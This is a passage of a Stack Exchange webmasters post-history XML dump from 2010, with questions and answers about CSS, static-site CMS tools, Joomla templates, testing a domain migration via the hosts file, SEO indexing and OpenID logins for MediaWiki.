  <row Id="6729" PostHistoryTypeId="3" PostId="3430" RevisionGUID="8d1c579d-c935-4ade-b580-0bcdbcd31327" CreationDate="2010-09-30T21:07:13.550" UserDisplayName="TreyK" Text="&lt;css&gt;" />
  <row Id="6730" PostHistoryTypeId="2" PostId="3431" RevisionGUID="584123b6-0ee4-45d1-8950-ad1cc90a0f55" CreationDate="2010-09-30T21:49:27.187" UserId="359" Text="Try adding `clear:right;` to the CSS rules for your `h2`. That should do it." />
  <row Id="6731" PostHistoryTypeId="2" PostId="3432" RevisionGUID="50acf1fa-fb08-430b-82a8-a48651a3037e" CreationDate="2010-10-01T05:04:36.497" UserId="258" Text="I have a friend that wants a desktop-based content management system -- one that publishes entirely to static HTML (and images, CSS, etc). What are the best options?" />
  <row Id="6732" PostHistoryTypeId="1" PostId="3432" RevisionGUID="50acf1fa-fb08-430b-82a8-a48651a3037e" CreationDate="2010-10-01T05:04:36.497" UserId="258" Text="Offline CMS for Static Web Sites" />
  <row Id="6733" PostHistoryTypeId="3" PostId="3432" RevisionGUID="50acf1fa-fb08-430b-82a8-a48651a3037e" CreationDate="2010-10-01T05:04:36.497" UserId="258" Text="&lt;cms&gt;&lt;static-content&gt;" />
  <row Id="6734" PostHistoryTypeId="2" PostId="3433" RevisionGUID="f4c03abd-7c9d-4f6b-b8c4-c26a312bdbc6" CreationDate="2010-10-01T07:25:17.570" UserId="1089" Text="I guess it depends what kind of site you run and if you can get away with it, but why not publically call them out on it? If your site has a blog maybe do it there?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6735" PostHistoryTypeId="2" PostId="3434" RevisionGUID="e5b4d857-32f3-4ceb-b340-44dbd8bac974" CreationDate="2010-10-01T07:49:07.153" UserId="2035" Text="When converting **psd** to **(x)html**, there's this time that you want to get the height/width of a particular selection. For example, you have an item which is to be converted as `&lt;div&gt;` in coding. Then the `&lt;div&gt;` requires a fixed width/height. How would you get it from the **psd**?&#xD;&#xA;&#xD;&#xA;My way is to crop the **psd**, then press &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;i&lt;/kbd&gt; to get image size window. Is there a better way than this? Cause sometimes, cropping takes time depending on the **psd** file.&#xD;&#xA;&#xD;&#xA;I wanna hear it from the pro webmasters. Thanks." />
  <row Id="6736" PostHistoryTypeId="1" PostId="3434" RevisionGUID="e5b4d857-32f3-4ceb-b340-44dbd8bac974" CreationDate="2010-10-01T07:49:07.153" UserId="2035" Text="best way of getting the dimension of a selection in photoshop." />
  <row Id="6737" PostHistoryTypeId="3" PostId="3434" RevisionGUID="e5b4d857-32f3-4ceb-b340-44dbd8bac974" CreationDate="2010-10-01T07:49:07.153" UserId="2035" Text="&lt;website-design&gt;" />
  <row Id="6738" PostHistoryTypeId="2" PostId="3435" RevisionGUID="7de7479a-0992-4e6c-a1de-d7fbf3e64210" CreationDate="2010-10-01T08:19:46.710" UserId="1665" Text="I have a somewhat complicated situation. We have a blog let's say at &quot;myblog.com&quot; and it is running fine. However, we now want to cut the budget and use a free hosting service (like [this one][1]). The service allows us to let a domain point to it so that we can host our blog.&#xD;&#xA;&#xD;&#xA;The problem is, now I'll have to change the domain's HOST record in order to start testing it. I obviously want a way to test it before actually changing anything. Using an alias for &quot;test.myblog.com&quot; requires the domain to be managed in the service's control panel, which I don't want either.&#xD;&#xA;&#xD;&#xA;So, the question is, can I type the IP address of the host in the browser, and somehow tell it that I am referring to it under the domain name &quot;myblog.com&quot;, so that it will show me my blog, instead of a default page?&#xD;&#xA;&#xD;&#xA;Any other advice is greatly appreciated too :)&#xD;&#xA;&#xD;&#xA;  [1]: http://isgreat.org/" />
  <row Id="6739" PostHistoryTypeId="1" PostId="3435" RevisionGUID="7de7479a-0992-4e6c-a1de-d7fbf3e64210" CreationDate="2010-10-01T08:19:46.710" UserId="1665" Text="how to test the migration of a domain without actually changing the domain?" />
  <row Id="6740" PostHistoryTypeId="3" PostId="3435" RevisionGUID="7de7479a-0992-4e6c-a1de-d7fbf3e64210" CreationDate="2010-10-01T08:19:46.710" UserId="1665" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="6741" PostHistoryTypeId="2" PostId="3436" RevisionGUID="e4c96300-fd64-459b-ae13-ba15d398608a" CreationDate="2010-10-01T08:24:39.103" UserId="2173" Text="I see a lot of sites selling Joomla templates at a premium but most of them look simple enough to build.&#xD;&#xA;&#xD;&#xA;Where can I find some tutorials to create such templates which I can provide users for free?" />
  <row Id="6742" PostHistoryTypeId="1" PostId="3436" RevisionGUID="e4c96300-fd64-459b-ae13-ba15d398608a" CreationDate="2010-10-01T08:24:39.103" UserId="2173" Text="how to create Joomla templates?" />
  <row Id="6743" PostHistoryTypeId="3" PostId="3436" RevisionGUID="e4c96300-fd64-459b-ae13-ba15d398608a" CreationDate="2010-10-01T08:24:39.103" UserId="2173" Text="&lt;cms&gt;" />
  <row Id="6744" PostHistoryTypeId="2" PostId="3437" RevisionGUID="46f2c59e-7c5b-44ec-aa6b-f955f1d90ad5" CreationDate="2010-10-01T08:32:05.530" UserId="2026" Text="might be this can help you [Fix for floating div][1] &#xD;&#xA;&#xD;&#xA;  [1]: http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/fix-for-floating-div.amty" />
  <row Id="6745" PostHistoryTypeId="5" PostId="3428" RevisionGUID="ca0c5586-e45e-4bc5-a38d-0c3d1d77ca51" CreationDate="2010-10-01T08:41:53.700" UserId="1064" Comment="Added information w/ updated question comments; added 15 characters in body" Text="You might be waiting on the [TTL][1] (regardless of how quickly eNom updates their DNS records, the TTL will likely be observed by intermediary systems which have cached the MX record), however, the more likely culprit after 48 hours would be your [Plesk settings][2].&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;My apologies - I got the impression from your question that you were duplicating your Plesk settings at eNom for redundancy, though the header you provided would indicate otherwise.&#xD;&#xA;&#xD;&#xA;From a review of the headers you provided, it looks like eNom is not returning any MX records - see [mx:nativeapps.org at MXToolBox][3] (you may want to keep checking what eNom's nameservers return for your domain as you investigate with their support staff).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Time_to_live#DNS_records&#xD;&#xA;  [2]: http://kb.parallels.com/en/168&#xD;&#xA;  [3]: http://mxtoolbox.com/SuperTool.aspx?action=mx%3anativeapps.org" />
  <row Id="6746" PostHistoryTypeId="2" PostId="3438" RevisionGUID="cdabfd27-4a55-4fae-9068-6f85cf7b5f24" CreationDate="2010-10-01T08:44:39.650" UserId="2026" Text="I liked site you suggested. Moreover there are some tips to reduce the chance of getting your contents stolen&#xD;&#xA;&#xD;&#xA;1. Use interlinks. So visitors need to refer other article to understand an article completely. It also helps categorization&#xD;&#xA;2. Make your own examples. And refer your site everywhere like http://article-stack.com/education/smart-learning/regular-expressions-common-elements-part-1.amty&#xD;&#xA;3. Better to put example images which describe steps or procedure and contains your logo. althogu thhese images can be edited easily.&#xD;&#xA;&#xD;&#xA;I hope these tips may help someone, not for stopping but reducing" />
  <row Id="6747" PostHistoryTypeId="2" PostId="3439" RevisionGUID="f76b9743-5308-4937-90b9-9d9b1517208f" CreationDate="2010-10-01T08:58:44.257" UserId="1857" Text="A couple of years ago [Fog Creek's Citydesk][1] was popular for this. But it's an orphaned product, the developers are not building on it any more.&#xD;&#xA;&#xD;&#xA;There are several that I know of, but no clear 'market leader'. Most projects are smaller, and have a fairly small user base.&#xD;&#xA;&#xD;&#xA;Therefore [Jekyll][2] is arguably one of the current 'market leaders', in the sense that it powers [Githubs Pages][3], and thereby sees a fair amount of use. It's Ruby based.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fogcreek.com/citydesk/&#xD;&#xA;  [2]: http://jekyllrb.com/&#xD;&#xA;  [3]: http://pages.github.com/" />
  <row Id="6748" PostHistoryTypeId="6" PostId="3436" RevisionGUID="6661585e-f940-4c16-b91c-db2ee4ab17a5" CreationDate="2010-10-01T09:01:49.943" UserId="1703" Comment="edited tags" Text="&lt;cms&gt;&lt;joomla&gt;" />
  <row Id="6749" PostHistoryTypeId="6" PostId="3436" RevisionGUID="32d7cf0a-fb8e-4589-85cd-d3ab686d6ff8" CreationDate="2010-10-01T09:02:28.457" UserId="1703" Comment="edited tags" Text="&lt;cms&gt;&lt;joomla&gt;&lt;template&gt;" />
  <row Id="6750" PostHistoryTypeId="2" PostId="3440" RevisionGUID="94708af8-bcf7-4e34-b5dc-c836c9a75489" CreationDate="2010-10-01T09:11:23.597" UserId="1703" Text="Here are a few:&#xD;&#xA;&#xD;&#xA; - http://www.absalom.biz/tutorials/Mambo_Template_Tutorial.html&#xD;&#xA; - http://net.tutsplus.com/tutorials/other/creating-your-first-joomla-template/&#xD;&#xA; - http://joomlatp.com/joomla-template-Tutorials/how-to-create-joomla-template-with-dreamweaver.html&#xD;&#xA; - http://www.compassdesigns.net/joomla-tutorials/joomla-template-tutorial&#xD;&#xA; - http://www.compassdesigns.net/joomla-tutorials/joomla-15-template-tutorial (This one is good) you can also find other tutorials relating to design on the same site - http://www.compassdesigns.net/joomla-tutorials/&#xD;&#xA;&#xD;&#xA;Good luck and enjoy!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6751" PostHistoryTypeId="2" PostId="3441" RevisionGUID="d49189e8-a5be-4811-a4e4-0288dcd7df9c" CreationDate="2010-10-01T09:59:50.487" UserId="1955" Text="You can edit your hosts file in a way that this domain name points to different IP. For example in windows the host file is in:  &#xD;&#xA; \Windows\System32\drivers\etc\  &#xD;&#xA;In ubunto it is in /etc/.  &#xD;&#xA;So you find the file, open it with simple text editor, and write the new IP and the domain name. It must look something like:  &#xD;&#xA;92.152.175.86 mydomain.com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6752" PostHistoryTypeId="5" PostId="3441" RevisionGUID="ad125db3-aa50-4586-9e31-7e2e153e555b" CreationDate="2010-10-01T10:19:01.950" UserId="1955" Comment="edited body" Text="You can edit your hosts file in a way that this domain name points to different IP. For example in windows the host file is in:  &#xD;&#xA; \Windows\System32\drivers\etc\  &#xD;&#xA;In Ubuntu it is in /etc/.  &#xD;&#xA;So you find the file, open it with simple text editor, and write the new IP and the domain name. It must look something like:  &#xD;&#xA;92.152.175.86 mydomain.com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6753" PostHistoryTypeId="2" PostId="3442" RevisionGUID="d36d7215-1b9b-421d-bb96-21e19f6cc7f4" CreationDate="2010-10-01T10:40:12.693" UserDisplayName="eydryan" Text="I know that you must change some SV records for it to work but I have no idea which is which because Google just gives a string and GoDaddy has no idea how to input that string into their settings, they just ask for TTL, etc.&#xD;&#xA;&#xD;&#xA;Can anybody help? I also cross-posted this to http://nothingtoinstall.com because I have no idea under which category it fits... " />
  <row Id="6754" PostHistoryTypeId="1" PostId="3442" RevisionGUID="d36d7215-1b9b-421d-bb96-21e19f6cc7f4" CreationDate="2010-10-01T10:40:12.693" UserDisplayName="eydryan" Text="how to enable google apps chat with normal gmail users" />
  <row Id="6755" PostHistoryTypeId="3" PostId="3442" RevisionGUID="d36d7215-1b9b-421d-bb96-21e19f6cc7f4" CreationDate="2010-10-01T10:40:12.693" UserDisplayName="eydryan" Text="&lt;google&gt;&lt;google-apps&gt;&lt;chat&gt;" />
  <row Id="6756" PostHistoryTypeId="2" PostId="3443" RevisionGUID="202b74ef-7f71-4f56-8ee9-974e2364a6c4" CreationDate="2010-10-01T10:42:00.500" UserId="1064" Text="On a default workspace setup, there is an **Info** tab in the upper right-hand panel with the **Navigator** and **Histogram** options.&#xD;&#xA;&#xD;&#xA;The **Info** tab will display the dimensions of your selection if you are using the selection tool.&#xD;&#xA;&#xD;&#xA;You'll probably want to change your **Units and Grids** settings in **Edit** &gt; **Preferences** &gt; **Units and Grids** to get the dimensions in pixels." />
  <row Id="6757" PostHistoryTypeId="2" PostId="3444" RevisionGUID="735b0500-26a4-4a15-8682-0b611ee4bc52" CreationDate="2010-10-01T11:41:01.203" UserId="233" Text="There are many directory scripts out there, although many are made by PHP script-kiddies and not great quality. [Hot Scripts][1] will have a good selection I'm sure.&#xD;&#xA;&#xD;&#xA;There is a &quot;professional&quot; extension for Joomla called [Mosets Tree][2], which I have used and is pretty good. It can take a little effort to customize it, if you want to change the layout a lot, but the default set up looks fine in most cases.&#xD;&#xA;&#xD;&#xA;Incidentally, [as I asked on SO][3], you don't have to pay for it since it is an open source license. If you can find it anywhere (it's quite prevalent on torrent sites), then it's perfectly legal to install and use.&#xD;&#xA;&#xD;&#xA;There may be similar plugins for Wordpress and Drupal too, so shop around.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hotscripts.com/&#xD;&#xA;  [2]: http://www.mosets.com/tree/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/1749672/do-you-have-to-pay-for-gnu-gpl-software-that-is-for-sale" />
  <row Id="6758" PostHistoryTypeId="2" PostId="3445" RevisionGUID="5f9582b3-4864-476a-9c6f-1e6d355c80c0" CreationDate="2010-10-01T12:06:07.580" UserId="2175" Text="What nice syntax highlighting plugins do people use for Wordpress?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="6759" PostHistoryTypeId="1" PostId="3445" RevisionGUID="5f9582b3-4864-476a-9c6f-1e6d355c80c0" CreationDate="2010-10-01T12:06:07.580" UserId="2175" Text="Wordpress plugin for syntax highlighting" />
  <row Id="6760" PostHistoryTypeId="3" PostId="3445" RevisionGUID="5f9582b3-4864-476a-9c6f-1e6d355c80c0" CreationDate="2010-10-01T12:06:07.580" UserId="2175" Text="&lt;wordpress&gt;&lt;plugin&gt;" />
  <row Id="6761" PostHistoryTypeId="2" PostId="3446" RevisionGUID="a31ecebd-2722-4238-89e3-39734bd91367" CreationDate="2010-10-01T12:12:30.857" UserId="1253" Text="[WP-Syntax][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wp-syntax/" />
  <row Id="6762" PostHistoryTypeId="2" PostId="3447" RevisionGUID="23aec278-0f0b-4ca7-8222-d45776e7fa97" CreationDate="2010-10-01T12:13:56.347" UserId="233" Text="Using `rel=&quot;nofollow&quot;` on links has no effect on whether certain pages get indexed. It simply stops search engines taking that specific link into account. If a page is linked anywhere else without nofollow then the page will be indexed as normal.&#xD;&#xA;&#xD;&#xA;Generally the best way to stop pages being indexed is to use [robots.txt][1]. For dynamic content, however, it may be difficult to block specific patterns so &quot;noindex&quot; is fine.&#xD;&#xA;&#xD;&#xA;Regarding whether to block at all, take a look at the pages and decide how useful they are individually and if users might search for that content. For example, I would suggest that people are likely to search for &quot;Chinese restaurants in Victory Hill&quot;, so it makes sense to have one page dedicated to that appearing in search results.&#xD;&#xA;&#xD;&#xA;Small UI note: instead of having the &quot;remove filter&quot; link, I would instead keep all the Locations listed and linked, with the current filter unlinked. Then users can switch to another location easily.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="6763" PostHistoryTypeId="2" PostId="3448" RevisionGUID="3f5433f3-5f1f-4e64-920f-5fcaefc8293b" CreationDate="2010-10-01T12:17:08.820" UserId="2059" Text="Google talks a lot about the process of federation with third party networks.  It doesn't seem clear whether or not this includes their own network or not.  It does involve updating SRV records though.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=34143&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/talk/open_communications.html#service" />
  <row Id="6764" PostHistoryTypeId="2" PostId="3449" RevisionGUID="c1223f68-194a-4470-b879-6a8fc022719f" CreationDate="2010-10-01T12:38:40.167" UserId="2059" Text="The official Joomla tutorial will walk you through an incredibly simple (albeit stripped-down) template build.  &#xD;&#xA;&#xD;&#xA;The process is similar to building a template for many popular Content Managers, with it's own quirks here and there.  A Joomla template is largely comprised of an index.php file that is a styled framework of the sites design.  JDOC tags are then used to configure things like module positions that are specific to Joomla (which are then styled through CSS).&#xD;&#xA;&#xD;&#xA;http://docs.joomla.org/Tutorial:Creating_a_basic_Joomla!_template" />
  <row Id="6765" PostHistoryTypeId="2" PostId="3450" RevisionGUID="57ee8117-09a7-471e-9d36-f559c402fe9d" CreationDate="2010-10-01T12:40:54.233" UserId="233" Text="mar10's links are worth reading for advanced stuff, but you can create a template really simply:&#xD;&#xA;&#xD;&#xA;1. Create a new folder under `/templates` for your template.&#xD;&#xA;2. Copy the `templateDetails.xml` file from another template and edit it for your template name etc.&#xD;&#xA;3. Create an index.php file and use that as the main template.&#xD;&#xA;4. Wherever you want a module position to go, put this special code: `&lt;jdoc:include type=&quot;modules&quot; name=&quot;left&quot; /&gt;` (where &quot;left&quot; is the module position).&#xD;&#xA;5. Wherever you want the main content to go, put this code: `&lt;jdoc:include type=&quot;component&quot; style=&quot;content&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;That's all you need for the absolute basics." />
  <row Id="6766" PostHistoryTypeId="6" PostId="2362" RevisionGUID="0ba0db0f-f8d2-4ec3-8cb0-b74c6de7a0d8" CreationDate="2010-10-01T12:42:20.067" UserId="233" Comment="added joomla tag" Text="&lt;php&gt;&lt;cms&gt;&lt;joomla&gt;" />
  <row Id="6767" PostHistoryTypeId="6" PostId="2685" RevisionGUID="1efc72fe-6fe3-44d4-a5d3-417996a78914" CreationDate="2010-10-01T12:42:33.623" UserId="233" Comment="added joomla tag" Text="&lt;url&gt;&lt;plugin&gt;&lt;joomla&gt;" />
  <row Id="6768" PostHistoryTypeId="2" PostId="3451" RevisionGUID="103f46fc-c4cc-46a5-b168-b7d9f8077927" CreationDate="2010-10-01T14:34:23.193" UserId="2176" Text="I am putting up a site.  Right now it will include a [MediaWiki][1] (the sort that powers Wikipedia).  In the future it may contain a blog (Wordpress?) and forums ([Vanilla Forums 2][2]?).&#xD;&#xA;&#xD;&#xA;I want the site to be viewable by the general public, but editable by anyone who signs in with an OpenID.  I'd like a login page like the one used on a stack exchange sites, where the user is presented with a series of familiar buttons to choose an identity provider.  &#xD;&#xA;&#xD;&#xA;Jeff Atwood has [open-sourced the login component for Stack Overflow][3], which is awesome, but I am unable to use it as my shared hosting is on a LAMP stack, where the 'P' includes Python (2.4.3), Perl (5.8.8), PHP (5.2.4), and Ruby (1.8.7).  The M is MySQL (5.1.50).&#xD;&#xA;&#xD;&#xA;I have tried a number of things with limited success.&#xD;&#xA;&#xD;&#xA;1) [MediaWiki with the OpenID login extension][4].  When I manually install the [php-openid library][5], and run the test, it complains about the lack of GMP support, does something strange with HTTP fetching, and complains about a lack of mod_encoding.  I contacted support and they said that they will not install mod_encoding, and that GMP is already installed.&#xD;&#xA;&#xD;&#xA;2) [MediaWiki with MultiAuthPlugin][6] against [simpleSAMLphp][7].  I think I partially have simpleSAMLphp working, but it is not clear to me what I need to do to make it an OpenID consumer -- its over my head.&#xD;&#xA;&#xD;&#xA;Then I decided that if I could authenticate against WordPress, I could use a MediaWiki extension to use that information to log people in.&#xD;&#xA;&#xD;&#xA;3) [WordPress OpenID plugin][8].  Everything appeared to install correctly that is needed for OpenID consumption, although it didn't appear to work.  I suspect it uses the php-openid library.  I'm not sure how to debug it.  More to the point, it just offers an OpenID textbox, which is not friendly for people who have no idea what it is -- I'd like buttons!&#xD;&#xA;&#xD;&#xA;4)  [Google Friend Connect for WordPress][9].  This is the first I've heard of friend connect.  It was not clear that one was authenticated to do more than comment, and the intention is to be some sort of &quot;social media&quot; overlay on your site -- not what I had in mind.&#xD;&#xA;&#xD;&#xA;5)  [Gigya Socialize for WordPress.][10]  Finally, a nice login using buttons and OpenID.  (Mind you, when I tried to log in using it, it told me, &quot;New user access is currently disabled for this site.&quot;)  This is pretty slick, but:&#xD;&#xA;&#xD;&#xA;- when I try to log in using my Google or Yahoo accounts, it asks for my contacts!  There is no way that it is acceptable for my users to give up contact information to a third party just to log into my site.&#xD;&#xA;- As I am authenticating, there is very little indication that this is authenticating me to my site; instead, it appears that the request is for Gigya.&#xD;&#xA;- If my site becomes really popular, I'll have to pay money to allow people to log in!&#xD;&#xA;&#xD;&#xA;I haven't completed setting up [JanRain Engage for WordPress][11], but I think it will be much the same as Gigya.&#xD;&#xA;&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;How can I have a unified, single sign-in for a group of related sites on the same domain, using OpenID and friendly google, yahoo, twitter, etc., buttons, which authenticates directly from my domain (ie. without claiming to be from a third party)?  Barring that, how can I get users to log into MediaWiki using OpenID (without changing web hosts)?&#xD;&#xA;&#xD;&#xA;I am happy to provide further details on my adventures so far.  I am also a programmer, albeit not a web-programmer, quite familiar with python, and knowing enough Perl, PHP, and Ruby that I could hack on a near-solution to make it work.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/MediaWiki&#xD;&#xA;  [2]: http://vanillaforums.org/&#xD;&#xA;  [3]: http://www.dotnetopenauth.net/&#xD;&#xA;  [4]: http://www.mediawiki.org/wiki/Extension:OpenID&#xD;&#xA;  [5]: http://www.janrain.com/openid-enabled&#xD;&#xA;  [6]: http://www.mediawiki.org/wiki/Extension:MultiAuthPlugin&#xD;&#xA;  [7]: http://simplesamlphp.org/&#xD;&#xA;  [8]: http://wordpress.org/extend/plugins/openid&#xD;&#xA;  [9]: http://demo02.globant.com/wp_native_comments&#xD;&#xA;  [10]: http://wiki.gigya.com/050_Socialize_Plugins/030_Wordpress_Plugin&#xD;&#xA;  [11]: http://groups.google.com/group/rpx-developers/web/wordpress-plugin" />
  <row Id="6769" PostHistoryTypeId="1" PostId="3451" RevisionGUID="103f46fc-c4cc-46a5-b168-b7d9f8077927" CreationDate="2010-10-01T14:34:23.193" UserId="2176" Text="OpenID login buttons for related modules of a site (especially a MediaWiki)" />
  <row Id="6770" PostHistoryTypeId="3" PostId="3451" RevisionGUID="103f46fc-c4cc-46a5-b168-b7d9f8077927" CreationDate="2010-10-01T14:34:23.193" UserId="2176" Text="&lt;wordpress&gt;&lt;openid&gt;&lt;mediawiki&gt;" />
  <row Id="6771" PostHistoryTypeId="2" PostId="3452" RevisionGUID="7e41e474-361a-46aa-9f53-c6349411ac88" CreationDate="2010-10-01T14:54:38.403" UserId="2177" Text="Is there a site out there that has a bunch of typical html for seeing what the css looks like once applied?  &#xD;&#xA;&#xD;&#xA;I mean, something full of table, a, div, span, p, whatever.  You go there, paste in your css and see the results." />
  <row Id="6772" PostHistoryTypeId="1" PostId="3452" RevisionGUID="7e41e474-361a-46aa-9f53-c6349411ac88" CreationDate="2010-10-01T14:54:38.403" UserId="2177" Text="CSS style viewer/tester" />
  <row Id="6773" PostHistoryTypeId="3" PostId="3452" RevisionGUID="7e41e474-361a-46aa-9f53-c6349411ac88" CreationDate="2010-10-01T14:54:38.403" UserId="2177" Text="&lt;css&gt;&lt;html&gt;" />
  <row Id="6774" PostHistoryTypeId="2" PostId="3453" RevisionGUID="6fa7d2b9-d2f5-4b2e-9401-9e3dab2f88dd" CreationDate="2010-10-01T15:25:54.653" UserId="233" Text="I don't know of any, but this is simple to set up yourself. Simply create a basic HTML document with all the elements you describe. (You can generate text if necessary from [Lipsum.com][1].) Then link to a CSS file in the document head to see your styles attached. Next time you want to test, change it to point to another CSS file. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lipsum.com/" />
  <row Id="6775" PostHistoryTypeId="2" PostId="3454" RevisionGUID="020d0200-52f2-40cd-bdfc-1d38fb1a6c90" CreationDate="2010-10-01T15:27:16.883" UserId="1253" Text="w3schools lets you play around with HTML and CSS rules. Just find the CSS/HTML you want to play with and look for where it says, &quot;Try it for yourself&quot;. Here's their [`border CSS`][1] page and [here's their playground][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/css/css_border.asp&#xD;&#xA;  [2]: http://www.w3schools.com/css/tryit.asp?filename=trycss_border-style" />
  <row Id="6776" PostHistoryTypeId="2" PostId="3455" RevisionGUID="1dd164ee-9125-409d-890c-fc48258218d2" CreationDate="2010-10-01T15:32:11.737" UserId="1074" Text="My company wanted something similar for a set of kiosks that we were running at a large tradeshow we hosted.  Internet access was a problem.  We found Citydesk and some other solutions, but they weren't as configurable as we wanted.  &#xD;&#xA;&#xD;&#xA;We ended up going really low-tech:  we dropped an install of WAMP on each computer and ran the CMS of our choice.  For one show, we ran a version of the company's website CMS, on another we ran Joomla because it was quick.  Regardless, each option gave us total control over look and feel and it was easy and free.  Couldn't go wrong there!" />
  <row Id="6777" PostHistoryTypeId="2" PostId="3456" RevisionGUID="2b7c8235-5fa7-449f-b747-c6d59f863b49" CreationDate="2010-10-01T16:16:00.873" UserDisplayName="Bob Cavezza" Text="I built a digg-like clone at fantasybookmark.com.  Google crawled the site, but only indexed about 21 pages out of the 2,000 or so (and growing) pages on the site.  We use rss feeds to find and generate content and allow users to comment.  &#xD;&#xA;&#xD;&#xA;What are reasons we are not getting indexed?  Are there ways to solve this?" />
  <row Id="6778" PostHistoryTypeId="1" PostId="3456" RevisionGUID="2b7c8235-5fa7-449f-b747-c6d59f863b49" CreationDate="2010-10-01T16:16:00.873" UserDisplayName="Bob Cavezza" Text="Possible reasons RSS generated content won't index" />
  <row Id="6779" PostHistoryTypeId="3" PostId="3456" RevisionGUID="2b7c8235-5fa7-449f-b747-c6d59f863b49" CreationDate="2010-10-01T16:16:00.873" UserDisplayName="Bob Cavezza" Text="&lt;seo&gt;&lt;google&gt;&lt;indexing&gt;&lt;crawling&gt;" />
  <row Id="6780" PostHistoryTypeId="2" PostId="3457" RevisionGUID="33513a31-132f-4a6c-afb1-c4c72449fa84" CreationDate="2010-10-01T16:29:42.100" UserId="233" Text="Your site appears to be quite new and full of low-quality content. For 90% of the pages, the only unique content is a title and one-line description. It may have been better to start with a small group of hand-picked articles on which to generate discussion and build a community.&#xD;&#xA;&#xD;&#xA;A brand new site with thousands of pages can sometimes ring alarm bells with Googlebot. There have been cases of sites generating masses of unoriginal content and managing to get ranked for obscure long tail keywords even though the site is full of spam essentially.&#xD;&#xA;&#xD;&#xA;All the usual advice will apply here: create an XML sitemap, check your site in Google Webmaster Tools. You could also try increasing your crawl rate in GWT." />
  <row Id="6781" PostHistoryTypeId="2" PostId="3458" RevisionGUID="cb03cf81-6fdf-496f-a12e-4523dc2484ce" CreationDate="2010-10-01T16:54:26.900" UserId="2177" Text="I have seen the base theme http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.3/themes/base/jquery-ui.css&#xD;&#xA;&#xD;&#xA;Are the other themes found in the gallery also hosted (Darkness, Smoothness, etc.)?  If so, where?" />
  <row Id="6782" PostHistoryTypeId="1" PostId="3458" RevisionGUID="cb03cf81-6fdf-496f-a12e-4523dc2484ce" CreationDate="2010-10-01T16:54:26.900" UserId="2177" Text="Does Google host all the jQuery UI themes?" />
  <row Id="6783" PostHistoryTypeId="3" PostId="3458" RevisionGUID="cb03cf81-6fdf-496f-a12e-4523dc2484ce" CreationDate="2010-10-01T16:54:26.900" UserId="2177" Text="&lt;google&gt;&lt;css&gt;&lt;jquery&gt;" />
  <row Id="6784" PostHistoryTypeId="2" PostId="3459" RevisionGUID="41ef90a5-7fea-46b7-a555-890fc01fe6d2" CreationDate="2010-10-01T17:31:38.007" UserId="1074" Text="I build all my pages in html/css then use firebug or chrome webmaster tools to add/change/experiment with styles.  It's quick, simple, and temporary, which is great for experimentation.  Plus, you can work with your own code on your own servers, which is another bonus.  &#xD;&#xA;&#xD;&#xA;Buzzkill: the UI Developer part of me cautions you that it's better to concept in a true design tool and then code to mimic due to differences in browsers....just sayin'...&#xD;&#xA;&#xD;&#xA;Side note--I'm a huge fan of Jquery's UI Themeroller.  Such a tool does exist for Themeroller to change styles on the side.  It's possible to entirely theme a site via Themeroller's CSS, then simply toggle between different themes.  If you've not ever tried it, it can really speed up deployment, especially if you're looking for that &quot;glossy&quot; look that's so popular right now." />
  <row Id="6785" PostHistoryTypeId="2" PostId="3460" RevisionGUID="ee31f531-0594-4b41-8471-d1bdcc5e0fe7" CreationDate="2010-10-01T17:56:14.297" UserId="1064" Text="Here's the [manifest][1] - I believe they're all there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/MANIFEST" />
  <row Id="6786" PostHistoryTypeId="2" PostId="3461" RevisionGUID="dd6a1377-0633-4bd5-b312-5c8fc5fab9e1" CreationDate="2010-10-01T17:59:13.763" UserId="1074" Text="Have to give credit to http://www.artisteer.com/ for creating a Dreamweaver like GUI for Joomla Template building.  It's so scary easy now.  Seems to work for the others (Wordpress, Drupal, etc) as well." />
  <row Id="6787" PostHistoryTypeId="5" PostId="3451" RevisionGUID="efe5b376-51a1-4e4a-9afd-15b8f05bea1e" CreationDate="2010-10-01T18:29:13.640" UserId="2176" Comment="Added a question about other wikis to try" Text="I am putting up a site.  Right now it will include a [MediaWiki][1] (the sort that powers Wikipedia).  In the future it may contain a blog (Wordpress?) and forums ([Vanilla Forums 2][2]?).&#xD;&#xA;&#xD;&#xA;I want the site to be viewable by the general public, but editable by anyone who signs in with an OpenID.  I'd like a login page like the one used on a stack exchange sites, where the user is presented with a series of familiar buttons to choose an identity provider.  &#xD;&#xA;&#xD;&#xA;Jeff Atwood has [open-sourced the login component for Stack Overflow][3], which is awesome, but I am unable to use it as my shared hosting is on a LAMP stack, where the 'P' includes Python (2.4.3), Perl (5.8.8), PHP (5.2.4), and Ruby (1.8.7).  The M is MySQL (5.1.50).&#xD;&#xA;&#xD;&#xA;I have tried a number of things with limited success.&#xD;&#xA;&#xD;&#xA;1) [MediaWiki with the OpenID login extension][4].  When I manually install the [php-openid library][5], and run the test, it complains about the lack of GMP support, does something strange with HTTP fetching, and complains about a lack of mod_encoding.  I contacted 